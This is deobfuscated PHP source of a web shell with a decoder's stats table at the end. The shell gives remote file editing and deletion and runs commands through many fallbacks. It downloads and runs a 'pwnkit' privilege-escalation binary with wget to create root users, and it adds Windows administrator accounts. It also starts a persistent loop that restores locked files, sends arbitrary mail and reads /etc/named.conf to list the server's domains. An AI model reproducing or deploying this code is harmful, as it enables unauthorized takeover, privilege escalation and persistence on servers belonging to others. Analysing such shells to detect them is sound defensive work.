${"GLOBALS"}["bytlrnysxb"] = "fungsi";
${$davrseruwt} = ${${"GLOBALS"}["bytlrnysxb"]}[28](${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . unx($_GET["f"]), $_POST["code-editor"]);
if (${$fweaiuwvhj}) {
success();
} else {
failed();
}
}
if (isset($_GET["adminer"])) {
$cllkpvegya = "URL";
${$cllkpvegya} = "https\x3a\x2f\x2fgithub.com\x2fvrana\x2fadminer\x2freleases\x2fdownload\x2fv4.8.1\x2fadminer\x2d4.8.1.php";
if (!${${"GLOBALS"}["ffhwthehfke"]}[3]("adminer.php")) {
${"GLOBALS"}["cxwewfjp"] = "fungsi";
cmd("wget " . ${${"GLOBALS"}["xusktnvbnjby"]} . " -O adminer.php --quiet");
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx(${${"GLOBALS"}["cxwewfjp"]}[0]()) . "\"\x3e";
}
}
if ($_GET["terminal"] == "root") {
if (!${${"GLOBALS"}["ffhwthehfke"]}[3]("pwnkit") && ${${"GLOBALS"}["ffhwthehfke"]}[4](${${"GLOBALS"}["ffhwthehfke"]}[0]())) {
cmd("wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit");
cmd("chmod +x pwnkit");
echo cmd("./pwnkit id > .mad-root");
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx(${${"GLOBALS"}["ffhwthehfke"]}[0]()) . "&terminal=root\"\x3e";
}
}
if (isset($_POST["submit-action"])) {
${${"GLOBALS"}["jyzluwxvn"]} = $_POST["check"];
if ($_POST["gecko-select"] == "delete") {
foreach (${${"GLOBALS"}["jyzluwxvn"]} as ${${"GLOBALS"}["iminkwh"]}) {
${${"GLOBALS"}["kuphbgrlczg"]} = str_replace("\\", "/", ${${"GLOBALS"}["ffhwthehfke"]}[0]());
${${"GLOBALS"}["nrcugmld"]} = ${${"GLOBALS"}["kuphbgrlczg"]} . "/" . ${${"GLOBALS"}["iminkwh"]};
if (is_dir(${${"GLOBALS"}["nrcugmld"]}) || is_file(${${"GLOBALS"}["nrcugmld"]})) {
$gdhqblq = "rmfile";
${"GLOBALS"}["cwiiqsd"] = "fungsi";
${${"GLOBALS"}["hektwrrl"]} = unlinkDir(${${"GLOBALS"}["nrcugmld"]});
${${"GLOBALS"}["sxwndnpdijt"]} = ${${"GLOBALS"}["cwiiqsd"]}[24](${${"GLOBALS"}["nrcugmld"]});
if (${${"GLOBALS"}["hektwrrl"]} || ${${"GLOBALS"}["sxwndnpdijt"]}) {
success();
} else if (${${"GLOBALS"}["hektwrrl"]} && ${$gdhqblq}) {
success();
} else {
failed();
}
}
}
}
}
if (isset($_POST["submit"])) {
if ($_POST["create_folder"] == true) {
${"GLOBALS"}["vvztczqbfa"] = "NamaFolder";
${${"GLOBALS"}["vvztczqbfa"]} = ${${"GLOBALS"}["ffhwthehfke"]}[12]($_POST["create_folder"]);
if (${${"GLOBALS"}["wcjqjgw"]}) {
success();
} else {
failed();
}
} else if ($_POST["create_file"] == true) {
$ljlzrs = "namaFile";
${$ljlzrs} = ${${"GLOBALS"}["ffhwthehfke"]}[13]($_POST["create_file"]);
if (${${"GLOBALS"}["ujnfzmr"]}) {
success();
} else {
failed();
}
} else if ($_POST["renameFile"] == true) {
$kgxbqfaht = "fungsi";
${${"GLOBALS"}["mqnmtlzvstdb"]} = ${$kgxbqfaht}[15](unx($_GET["re"]), $_POST["renameFile"]);
if (${${"GLOBALS"}["mqnmtlzvstdb"]}) {
success();
} else {
failed();
}
} else if ($_POST["chFile"]) {
$ktbitdlgnko = "fungsi";
$mcqxqffigup = "chFiles";
${${"GLOBALS"}["uaarvdwkim"]} = ${$ktbitdlgnko}[30](unx($_GET["ch"]), $_POST["chFile"]);
if (${$mcqxqffigup}) {
success();
} else {
failed();
}
} else if (isset($_POST["add-username"]) && isset($_POST["add-password"])) {
$ordroqwi = "fungsi";
if (!${${"GLOBALS"}["ffhwthehfke"]}[3]("pwnkit")) {
cmd("wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit");
cmd("chmod +x pwnkit");
cmd("./pwnkit \"id\" > .mad-root");
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx(${${"GLOBALS"}["ffhwthehfke"]}[0]()) . "\x26rooting=True\"\x3e";
} else if (${$ordroqwi}[3](".mad-root")) {
$hggngmrjmalk = "response";
${"GLOBALS"}["iagqfob"] = "r_text";
${"GLOBALS"}["fsdmzrd"] = "r_text";
${"GLOBALS"}["xbsqfljsoqs"] = "response";
$jskeyi = "fungsi";
${${"GLOBALS"}["xbsqfljsoqs"]} = ${$jskeyi}[11](".mad-root");
${${"GLOBALS"}["iagqfob"]} = explode(" ", ${$hggngmrjmalk});
if (${${"GLOBALS"}["fsdmzrd"]}[0] == "uid=0(root)") {
$uwejsyic = "password";
${${"GLOBALS"}["koisfmemk"]} = $_POST["add-username"];
${"GLOBALS"}["bbmgjpim"] = "password";
${$uwejsyic} = $_POST["add-password"];
cmd("./pwnkit \"useradd " . ${${"GLOBALS"}["koisfmemk"]} . " ; echo -e \"" . ${${"GLOBALS"}["bbmgjpim"]} . "\\n" . ${${"GLOBALS"}["miscolyhduf"]} . "\" | passwd " . ${${"GLOBALS"}["koisfmemk"]} . "\"");
} else {
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx(${${"GLOBALS"}["ffhwthehfke"]}[0]()) . "\x26adduser=failed\">";
}
}
} else if ($_POST["lockfile"] == true) {
$ufpdlylzwue = "flesName";
${"GLOBALS"}["qqseohq"] = "fungsi";
$rejgynpab = "flesName";
${"GLOBALS"}["lzjyihwiekhd"] = "fungsi";
$woxxgomirp = "fungsi";
$fpgvffcwvcv = "fungsi";
${"GLOBALS"}["tdhpfie"] = "flesName";
${"GLOBALS"}["butzso"] = "fungsi";
${"GLOBALS"}["lihpzsjctue"] = "flesName";
${"GLOBALS"}["dwtxhlb"] = "TmpNames";
${"GLOBALS"}["xsyuhggsllib"] = "fungsi";
${"GLOBALS"}["rwrcvsrfuj"] = "TmpNames";
$mcltifzh = "flesName";
${$ufpdlylzwue} = $_POST["lockfile"];
${${"GLOBALS"}["dbqsqfmq"]} = ${${"GLOBALS"}["ffhwthehfke"]}[31]();
${"GLOBALS"}["iscjwvs"] = "TmpNames";
if (file_exists(${${"GLOBALS"}["rwrcvsrfuj"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${$mcltifzh}) . "-handler")) && file_exists(${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . remove_dot(${${"GLOBALS"}["lihpzsjctue"]}) . "-text")) {
${"GLOBALS"}["vdlqbp"] = "TmpNames";
$lyqljpodlmb = "fungsi";
cmd("rm -rf " . ${${"GLOBALS"}["vdlqbp"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["dqkrxoh"]}) . "-text-file"));
$vxmzbuelf = "TmpNames";
cmd("rm -rf " . ${$vxmzbuelf} . "/.sessions/." . base64_encode(${$lyqljpodlmb}[0]() . remove_dot(${${"GLOBALS"}["dqkrxoh"]}) . "-handler"));
}
${"GLOBALS"}["bqlhisl"] = "fungsi";
${"GLOBALS"}["ibrdwn"] = "flesName";
mkdir(${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions");
cmd("cp $flesName " . ${${"GLOBALS"}["iscjwvs"]} . "/.sessions/." . base64_encode(${$woxxgomirp}[0]() . remove_dot(${${"GLOBALS"}["dqkrxoh"]}) . "-text-file"));
cmd("chmod 444 " . ${${"GLOBALS"}["tdhpfie"]});
$dwgiadxoy = "hndlers";
$yfpihber = "fungsi";
${${"GLOBALS"}["rkgfykokmyu"]} = "\n<?php\n@ini_set(\"max_execution_time\", 0);\nwhile (True){\n if (!file_exists(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "\")){\n mkdir(\"" . ${${"GLOBALS"}["lzjyihwiekhd"]}[0]() . "\");\n }\n if (\x21file_exists(\"" . ${${"GLOBALS"}["bqlhisl"]}[0]() . "/" . ${${"GLOBALS"}["dqkrxoh"]} . "\")){\n \$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["ibrdwn"]}) . "-text-file") . "\"));\n file_put_contents(\"" . ${$fpgvffcwvcv}[0]() . "/" . ${$rejgynpab} . "\", base64_decode(\$text));\n }\n if (gecko_perm(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["dqkrxoh"]} . "\") != 0444){\n chmod(\"" . ${${"GLOBALS"}["xsyuhggsllib"]}[0]() . "/" . ${${"GLOBALS"}["dqkrxoh"]} . "\", 0444);\n } \n if (gecko_perm(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "\") \x21= 0555){\n chmod(\"" . ${$yfpihber}[0]() . "\", 0555);\n }\n}\n\nfunction gecko_perm(\$flename){\n return substr(sprintf(\"\x25o\", fileperms(\$flename)), -4);\n}\n";
${$dwgiadxoy} = ${${"GLOBALS"}["qqseohq"]}[28](${${"GLOBALS"}["dwtxhlb"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["butzso"]}[0]() . remove_dot(${${"GLOBALS"}["dqkrxoh"]}) . "-handler") . "", ${${"GLOBALS"}["rkgfykokmyu"]});
if (${${"GLOBALS"}["yinfjmegypy"]}) {
${"GLOBALS"}["uiibyuqbt"] = "flesName";
cmd("php " . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["uiibyuqbt"]}) . "-handler") . " > /dev/null 2\x3e/dev/null \x26");
success();
} else {
failed();
}
} else if ($_POST["add-rdp"] == True) {
$koeepuk = "passRDP";
${${"GLOBALS"}["snefspybou"]} = $_POST["add-rdp"];
${$koeepuk} = $_POST["add-rdp-pass"];
if (stristr(PHP_OS, "WIN")) {
${"GLOBALS"}["zyznrnjgxhhb"] = "procRDP";
${"GLOBALS"}["ovjzsvjfusd"] = "procRDP";
${"GLOBALS"}["nhmxbgttwur"] = "userRDP";
${"GLOBALS"}["lcqcfaxu"] = "passRDP";
${${"GLOBALS"}["zyznrnjgxhhb"]} = cmd("net user " . ${${"GLOBALS"}["nhmxbgttwur"]} . " " . ${${"GLOBALS"}["lcqcfaxu"]} . " /add");
if (${${"GLOBALS"}["ovjzsvjfusd"]}) {
$xmprgsjwu = "userRDP";
cmd("net localgroup administrators " . ${$xmprgsjwu} . " /add");
success();
} else {
failed();
}
} else {
failed();
}
} else if ($_POST["mail-from-smtp"] == True) {
$mymtcpmlncf = "headersMail";
${"GLOBALS"}["difiwpmgvyyn"] = "emailFrom";
${"GLOBALS"}["umawbqofe"] = "emailTo";
${${"GLOBALS"}["difiwpmgvyyn"]} = $_POST["mail-from-smtp"];
$cenoern = "emailSubject";
${${"GLOBALS"}["icbzeo"]} = $_POST["mail-to-smtp"];
$nsrbdvebmll = "messageMail";
${${"GLOBALS"}["fskuptrbqq"]} = $_POST["mailto-subject"];
$smpfuqtprvm = "emailFrom";
$uuckuczidd = "procMailSmTp";
${$nsrbdvebmll} = $_POST["message-smtp"];
${${"GLOBALS"}["jtecjf"]} = "From: " . ${${"GLOBALS"}["dmfsqsfrmbv"]} . "" . "\r\n" . "Reply-To: " . ${$smpfuqtprvm} . "" . "\r\n" . "\x58-Mailer: PHP/" . phpversion();
${$uuckuczidd} = mail(${${"GLOBALS"}["umawbqofe"]}, ${$cenoern}, ${${"GLOBALS"}["tbpcvx"]}, ${$mymtcpmlncf});
if (${${"GLOBALS"}["lpvkshtewk"]}) {
success();
} else {
failed();
}
}
}
if ($_GET["response"] == "success") {
echo "<script>\nSwal.fire({\n icon: 'success',\n title: 'Sucesss...',\n text: 'Done Success!',\n confirmButtonColor: '\x2322242d',\n})</script>";
} else if ($_GET["response"] == "failed") {
echo "<script\x3e\nSwal.fire({\n icon: 'error',\n title: 'Failed...',\n text: 'Something wrong\x21',\n confirmButtonColor: '#22242d',\n})\n </script>";
}
function success()
{
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx($GLOBALS["fungsi"][0]()) . "&response=success\"\x3e";
}
function failed()
{
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx($GLOBALS["fungsi"][0]()) . "\x26response=failed\"\x3e";
}
function formatSize($bytes)
{
$nlrtkgx = "bytes";
$agsoeh = "types";
$gexelgc = "i";
$qqnigtpdzgc = "i";
${${"GLOBALS"}["betjytbof"]} = array("<span class=\"file-size\">B</span>", "<span class=\"file-size\"\x3eKB</span\x3e", "<span class=\"file-size\"\x3eMB</span>", "<span class=\"file-size\">GB</span\x3e", "<span class=\"file-size\">TB</span\x3e");
for (${$qqnigtpdzgc} = 0; ${$nlrtkgx} >= 1024 && ${${"GLOBALS"}["lgjstiud"]} < (count(${${"GLOBALS"}["betjytbof"]}) - 1); ${${"GLOBALS"}["ngifmqy"]} /= 1024, ${$gexelgc}++) ;
$iruvrmmam = "bytes";
return (round(${$iruvrmmam}, 2) . " " . ${$agsoeh}[${${"GLOBALS"}["lgjstiud"]}]);
}
function hx($n)
{
$drffqj = "y";
${"GLOBALS"}["ltfuglrqtwm"] = "n";
${${"GLOBALS"}["uttudimpo"]} = "";
${"GLOBALS"}["svjksiktzb"] = "i";
for (${${"GLOBALS"}["lgjstiud"]} = 0; ${${"GLOBALS"}["lgjstiud"]} < strlen(${${"GLOBALS"}["ltfuglrqtwm"]}); ${${"GLOBALS"}["svjksiktzb"]}++) {
${${"GLOBALS"}["uttudimpo"]} .= dechex(ord(${${"GLOBALS"}["srkuxtmbwph"]}[${${"GLOBALS"}["lgjstiud"]}]));
}
return ${$drffqj};
}
function unx($y)
{
${"GLOBALS"}["ejluwaverjv"] = "n";
$gylivtuvhoix = "y";
${${"GLOBALS"}["srkuxtmbwph"]} = "";
for (${${"GLOBALS"}["lgjstiud"]} = 0; ${${"GLOBALS"}["lgjstiud"]} < strlen(${$gylivtuvhoix}) - 1; ${${"GLOBALS"}["lgjstiud"]} += 2) {
${"GLOBALS"}["cvkgmwvf"] = "y";
${"GLOBALS"}["wbefayofet"] = "i";
${${"GLOBALS"}["srkuxtmbwph"]} .= chr(hexdec(${${"GLOBALS"}["uttudimpo"]}[${${"GLOBALS"}["lgjstiud"]}] . ${${"GLOBALS"}["cvkgmwvf"]}[${${"GLOBALS"}["wbefayofet"]} + 1]));
}
return ${${"GLOBALS"}["ejluwaverjv"]};
}
function suggest_exploit()
{
${${"GLOBALS"}["dmqscsrrxg"]} = $GLOBALS["fungsi"][8]();
${"GLOBALS"}["xtzdjncuserq"] = "uname";
${"GLOBALS"}["odqtipd"] = "xpld";
${${"GLOBALS"}["ivutmpeftk"]} = explode(" ", ${${"GLOBALS"}["xtzdjncuserq"]});
${"GLOBALS"}["gfmsbqujw"] = "pl";
${"GLOBALS"}["rbssufdukn"] = "xplod";
${${"GLOBALS"}["pcuoxvbv"]} = explode("-", ${${"GLOBALS"}["rbssufdukn"]}[2]);
${${"GLOBALS"}["gfmsbqujw"]} = explode(".", ${${"GLOBALS"}["odqtipd"]}[0]);
return ${${"GLOBALS"}["vrwldghfh"]}[0] . "." . ${${"GLOBALS"}["vrwldghfh"]}[1] . "." . ${${"GLOBALS"}["vrwldghfh"]}[2];
}
function s()
{
${${"GLOBALS"}["konmzff"]} = @$GLOBALS["fungsi"][7]("/etc/named.conf", false);
if (!${${"GLOBALS"}["konmzff"]}) {
${"GLOBALS"}["qkldqivwn"] = "dom";
${${"GLOBALS"}["qkldqivwn"]} = "<font color=red size=2px\x3eCant Read [ /etc/named.conf ]</font>";
$GLOBALS["need_to_update_header"] = "true";
} else {
${"GLOBALS"}["gzexxk"] = "d0mains";
${"GLOBALS"}["qmjsreqiurp"] = "dom";
$xrygczb = "d0main";
${${"GLOBALS"}["tmkiaxedyo"]} = 0;
foreach (${${"GLOBALS"}["gzexxk"]} as ${$xrygczb}) {
if (@strstr(${${"GLOBALS"}["buofmousj"]}, "zone")) {
preg_match_all("#zone \"(.*)\"#", ${${"GLOBALS"}["buofmousj"]}, ${${"GLOBALS"}["ypdcsham"]});
flush();
if (strlen(trim(${${"GLOBALS"}["ypdcsham"]}[1][0])) > 2) {
flush();
${${"GLOBALS"}["tmkiaxedyo"]}++;
}
}
}
${${"GLOBALS"}["qmjsreqiurp"]} = "$count Domain";
}
return ${${"GLOBALS"}["gdpdzhana"]};
}
function cmd($in, $re = false)
{
$dqlceyuqg = "out";
${$dqlceyuqg} = "";
try {
if (${${"GLOBALS"}["rlhhhuomf"]}) ${${"GLOBALS"}["cijpogbgu"]} = ${${"GLOBALS"}["cijpogbgu"]} . " 2\x3e&1";
if (function_exists("exec")) {
$ypjzxnbskt = "out";
${"GLOBALS"}["uaoqexjmtkki"] = "out";
${"GLOBALS"}["xqqhuldlq"] = "in";
@$GLOBALS["fungsi"][16](${${"GLOBALS"}["xqqhuldlq"]}, ${${"GLOBALS"}["uaoqexjmtkki"]});
${$ypjzxnbskt} = @join("\n", ${${"GLOBALS"}["fwfhddvy"]});
} elseif (function_exists("passthru")) {
ob_start();
$cjhdnvljttz = "in";
@$GLOBALS["fungsi"][17](${$cjhdnvljttz});
${${"GLOBALS"}["fwfhddvy"]} = ob_get_clean();
} elseif (function_exists("system")) {
${"GLOBALS"}["neqdrymh"] = "in";
ob_start();
${"GLOBALS"}["ibvmflpf"] = "out";
@$GLOBALS["fungsi"][18](${${"GLOBALS"}["neqdrymh"]});
${${"GLOBALS"}["ibvmflpf"]} = ob_get_clean();
} elseif (function_exists("shell_exec")) {
${"GLOBALS"}["cmeuwmzj"] = "out";
${${"GLOBALS"}["cmeuwmzj"]} = $GLOBALS["fungsi"][19](${${"GLOBALS"}["cijpogbgu"]});
} elseif (function_exists("popen") && function_exists("pclose")) {
if (is_resource(${${"GLOBALS"}["wcpxltgifs"]} = @$GLOBALS["fungsi"][20](${${"GLOBALS"}["cijpogbgu"]}, "r"))) {
${"GLOBALS"}["saptbeeykqlx"] = "f";
${"GLOBALS"}["ovncflt"] = "out";
${"GLOBALS"}["xautjvvv"] = "f";
${${"GLOBALS"}["ovncflt"]} = "";
while (!@feof(${${"GLOBALS"}["xautjvvv"]})) ${${"GLOBALS"}["fwfhddvy"]} .= fread(${${"GLOBALS"}["saptbeeykqlx"]}, 1024);
$GLOBALS["fungsi"][21](${${"GLOBALS"}["wcpxltgifs"]});
}
} elseif (function_exists("proc_open")) {
$dqptjfbjzh = "pipes";
${"GLOBALS"}["qowbpg"] = "in";
$wuprddbqmwg = "process";
${$dqptjfbjzh} = array();
${$wuprddbqmwg} = @$GLOBALS["fungsi"][23](${${"GLOBALS"}["qowbpg"]} . " 2>\x261", array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), ${${"GLOBALS"}["mvopnjandgf"]}, null);
${${"GLOBALS"}["fwfhddvy"]} = @$GLOBALS["fungsi"][22](${${"GLOBALS"}["mvopnjandgf"]}[1]);
} elseif (class_exists("COM")) {
$sxjwyhon = "alfaWs";
$wjewpndyx = "stdout";
${$sxjwyhon} = new COM("WScript.shell");
${${"GLOBALS"}["tsrbiic"]} = $alfaWs->$GLOBALS["fungsi"][16]("cmd.exe /c " . $_POST["alfa1"]);
${$wjewpndyx} = $exec->StdOut();
${${"GLOBALS"}["fwfhddvy"]} = $stdout->ReadAll();
}
} catch (Exception$e) {
}
return $out;
}
function winpwd()
{
return str_replace("\\", "/", $GLOBALS["fungsi"][0]());
}
function remove_slash($val)
{
$rrjqgdmsu = "tex1";
$raogixge = "tex3";
${"GLOBALS"}["kmnybat"] = "tex2";
${"GLOBALS"}["ksimxkomds"] = "tex4";
${${"GLOBALS"}["fwcvgggob"]} = str_replace("/", "", ${${"GLOBALS"}["vyhvnhuhq"]});
${$rrjqgdmsu} = str_replace(":", "", ${${"GLOBALS"}["fwcvgggob"]});
${${"GLOBALS"}["kmnybat"]} = str_replace("_", "", ${${"GLOBALS"}["onliotc"]});
${$raogixge} = str_replace(" ", "", ${${"GLOBALS"}["xoatcvs"]});
${${"GLOBALS"}["xsawvgb"]} = str_replace(".", "", ${${"GLOBALS"}["giwwwjjtimb"]});
return ${${"GLOBALS"}["ksimxkomds"]};
}
function unlinkDir($dir)
{
$cajhqqd = "dirs";
${${"GLOBALS"}["qsodwt"]} = array(${${"GLOBALS"}["yhyjnfqmr"]});
$qutqqdcw = "files";
$uuckzmvq = "files";
${$uuckzmvq} = array();
${"GLOBALS"}["hrbdkxio"] = "dirs";
$jnyljkohh = "file";
for (${${"GLOBALS"}["lgjstiud"]} = 0; ; ${${"GLOBALS"}["lgjstiud"]}++) {
$dmlciqy = "i";
$iotjzwlpbke = "dir";
${"GLOBALS"}["gkmmckou"] = "dirs";
$cbrvftdsy = "i";
if (isset(${${"GLOBALS"}["qsodwt"]}[${$dmlciqy}])) ${${"GLOBALS"}["yhyjnfqmr"]} = ${${"GLOBALS"}["gkmmckou"]}[${$cbrvftdsy}]; else break;
if (${${"GLOBALS"}["binikfz"]} = opendir(${$iotjzwlpbke})) {
${"GLOBALS"}["phrimlhdp"] = "readDir";
$rpttlqbbph = "openDir";
while (${${"GLOBALS"}["phrimlhdp"]} = @readdir(${$rpttlqbbph})) {
${"GLOBALS"}["uonxpyalcgi"] = "readDir";
if (${${"GLOBALS"}["uonxpyalcgi"]} != "." && ${${"GLOBALS"}["xoquwji"]} != "..") {
$hbqsxqy = "readDir";
$nyiwtovso = "dir";
if ($GLOBALS["fungsi"][2](${$nyiwtovso} . "/" . ${$hbqsxqy})) {
${"GLOBALS"}["oedaulwc"] = "dir";
${${"GLOBALS"}["qsodwt"]}[] = ${${"GLOBALS"}["oedaulwc"]} . "/" . ${${"GLOBALS"}["xoquwji"]};
} else {
${"GLOBALS"}["kndfviwu"] = "files";
${"GLOBALS"}["tkfryy"] = "readDir";
${"GLOBALS"}["dsytnjfbsn"] = "dir";
${${"GLOBALS"}["kndfviwu"]}[] = ${${"GLOBALS"}["dsytnjfbsn"]} . "/" . ${${"GLOBALS"}["tkfryy"]};
}
}
}
}
}
$bsnvocylh = "dirs";
foreach (${$qutqqdcw} as ${$jnyljkohh}) {
$GLOBALS["fungsi"][24](${${"GLOBALS"}["kzarkwcnynf"]});
}
${$bsnvocylh} = array_reverse(${$cajhqqd});
foreach (${${"GLOBALS"}["hrbdkxio"]} as ${${"GLOBALS"}["yhyjnfqmr"]}) {
${"GLOBALS"}["mmstwk"] = "dir";
$GLOBALS["fungsi"][25](${${"GLOBALS"}["mmstwk"]});
}
}
function remove_dot($file)
{
$teimggxrxlh = "file";
${${"GLOBALS"}["jqggucyqgs"]} = ${$teimggxrxlh};
${"GLOBALS"}["bgxzpgiqwup"] = "pch";
${${"GLOBALS"}["exlsji"]} = explode(".", ${${"GLOBALS"}["jqggucyqgs"]});
return ${${"GLOBALS"}["bgxzpgiqwup"]}[0];
}
function windowsDriver()
{
${"GLOBALS"}["namjwryyp"] = "winVal";
${"GLOBALS"}["bwxteeizmqji"] = "winArr";
${${"GLOBALS"}["uewssmzs"]} = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z"];
foreach (${${"GLOBALS"}["bwxteeizmqji"]} as ${${"GLOBALS"}["udlkwqjgtd"]} => ${${"GLOBALS"}["namjwryyp"]}) {
if (is_dir(${${"GLOBALS"}["jstwslbijjl"]} . ":/")) {
${"GLOBALS"}["eskisxdopzel"] = "winVal";
${"GLOBALS"}["xegtkwvhc"] = "winVal";
echo "<a style='color:orange; font-weight:bold;' href='?d=" . hx(${${"GLOBALS"}["xegtkwvhc"]} . ":/") . "'>[ " . ${${"GLOBALS"}["eskisxdopzel"]} . " ]</a\x3e\x26nbsp;";
}
}
}
function namaPanjang($value)
{
$dlbxuictjvo = "namaNya";
$tnluufrd = "namaNya";
${$dlbxuictjvo} = ${${"GLOBALS"}["jkvogdqevb"]};
${${"GLOBALS"}["lbyicpdehf"]} = pathinfo(${${"GLOBALS"}["jkvogdqevb"]}, PATHINFO_EXTENSION);
if (strlen(${$tnluufrd}) > 30) {
return substr(${${"GLOBALS"}["dovrqa"]}, 0, 30) . "...";
} else {
return ${${"GLOBALS"}["jkvogdqevb"]};
}
}
function perms($file)
{
$jjdnbufmksl = "perms";
$tcqbhvir = "perms";
$jsqwvept = "file";
${"GLOBALS"}["xbhlglmqgb"] = "perms";
$fmnexhsxgyn = "perms";
$hdobcf = "perms";
${"GLOBALS"}["edcffdwyjhmx"] = "perms";
$xgltnpmhigx = "perms";
${${"GLOBALS"}["xbhlglmqgb"]} = $GLOBALS["fungsi"][6](${$jsqwvept});
${"GLOBALS"}["bcsuussvmulv"] = "perms";
${"GLOBALS"}["kbufjvyut"] = "perms";
$akhtfzwl = "info";
${"GLOBALS"}["fjymcowm"] = "perms";
$lxhvmjxqu = "perms";
$pbwttyd = "info";
$fyenrneyrq = "perms";
${"GLOBALS"}["stxqjfde"] = "perms";
$cgtnpbw = "info";
$pybekgrao = "perms";
$mtancqawq = "perms";
${"GLOBALS"}["gpqkwrhqykfo"] = "perms";
${"GLOBALS"}["upwhydp"] = "info";
if ((${${"GLOBALS"}["pngmwpjtmv"]} & 0xC000) == 0xC000) {
$kwfvtpcfe = "info";
${$kwfvtpcfe} = "s";
} elseif ((${${"GLOBALS"}["pngmwpjtmv"]} & 0xA000) == 0xA000) {
${"GLOBALS"}["cqvgjp"] = "info";
${${"GLOBALS"}["cqvgjp"]} = "l";
} elseif ((${${"GLOBALS"}["kbufjvyut"]} & 0x8000) == 0x8000) {
${${"GLOBALS"}["monxldgljxy"]} = "-";
} elseif ((${${"GLOBALS"}["bcsuussvmulv"]} & 0x6000) == 0x6000) {
${${"GLOBALS"}["monxldgljxy"]} = "b";
} elseif ((${$tcqbhvir} & 0x4000) == 0x4000) {
${"GLOBALS"}["zkbjpneui"] = "info";
${${"GLOBALS"}["zkbjpneui"]} = "d";
} elseif ((${$jjdnbufmksl} & 0x2000) == 0x2000) {
$inafvzqvdo = "info";
${$inafvzqvdo} = "c";
} elseif ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x1000) == 0x1000) {
${${"GLOBALS"}["monxldgljxy"]} = "p";
} else {
${${"GLOBALS"}["monxldgljxy"]} = "u";
}
${${"GLOBALS"}["monxldgljxy"]} .= ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x0100) ? "r" : "-");
${${"GLOBALS"}["monxldgljxy"]} .= ((${$fmnexhsxgyn} & 0x0080) ? "w" : "-");
${$akhtfzwl} .= ((${$xgltnpmhigx} & 0x0040) ? ((${${"GLOBALS"}["fjymcowm"]} & 0x0800) ? "s" : "x") : ((${$lxhvmjxqu} & 0x0800) ? "S" : "-"));
${${"GLOBALS"}["monxldgljxy"]} .= ((${${"GLOBALS"}["edcffdwyjhmx"]} & 0x0020) ? "r" : "-");
${"GLOBALS"}["fewknzd"] = "info";
${$cgtnpbw} .= ((${$mtancqawq} & 0x0010) ? "w" : "-");
${${"GLOBALS"}["monxldgljxy"]} .= ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x0008) ? ((${${"GLOBALS"}["gpqkwrhqykfo"]} & 0x0400) ? "s" : "x") : ((${$pybekgrao} & 0x0400) ? "S" : "-"));
${$pbwttyd} .= ((${$hdobcf} & 0x0004) ? "r" : "-");
$xrhxuou = "info";
${${"GLOBALS"}["fewknzd"]} .= ((${${"GLOBALS"}["stxqjfde"]} & 0x0002) ? "w" : "-");
${${"GLOBALS"}["upwhydp"]} .= ((${$fyenrneyrq} & 0x0001) ? ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x0200) ? "t" : "x") : ((${${"GLOBALS"}["pngmwpjtmv"]} & 0x0200) ? "T" : "-"));
return ${$xrhxuou};
}
?>Function Calls
| None |
Stats
| MD5 | d0fe56393722f2ba386da9b56cfb9613 |
| Eval Count | 0 |
| Decode Time | 208 ms |